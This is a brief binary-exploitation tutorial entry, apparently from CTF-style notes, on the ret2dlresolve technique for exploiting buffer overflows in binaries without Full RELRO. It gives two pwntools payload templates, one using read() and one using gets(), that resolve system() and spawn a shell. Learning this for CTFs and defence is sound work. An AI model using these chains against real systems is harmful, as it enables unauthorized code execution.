ret2dlresolve

A way to exploit buffer overflows using ROP when not many gadgets are available, and Full RELRO is disabled

Ret2dlresolve is a technique that can be used to trick the binary into resolving a specific function, such as system(), into the PLT (Procedure Linkage Table). By doing this, you can use the PLT function as if it was an original component of the binary. This bypasses ASLR and does not require any leaks of the libc address.

The attack is only possible when you can overwrite GOT entries, making it impossible on Full RELRO. On both No RELRO and Partial RELRO this attack is possible however:

For a more detailed explanation see:

ret2dlresolveBinary Exploitation

Detailed analysis and information about ret2dlresolve from ir0nstone's notes

PwnTools

PwnTools contains a ret2dlresolve function that can generate payloads for this attack automatically.

read()

rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['sh'])
rop.raw(rop.ret)  # Align stack (64-bit)
rop.read(0, dlresolve.data_addr)  # Call read function to write data
rop.ret2dlresolve(dlresolve)  # Write data

p.sendline(flat({
    OFFSET: rop.chain(),
}))
p.sendline(dlresolve.payload)  # Run /bin/sh

p.interactive()

gets()

rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['sh'])
rop.raw(rop.ret)  # Align stack (64-bit)
rop.gets(dlresolve.data_addr)  # Call read function to write data
rop.ret2dlresolve(dlresolve)  # Write data

p.sendline(flat({
    OFFSET: rop.chain(),
}))
p.sendline(dlresolve.payload)  # Run /bin/sh

p.interactive()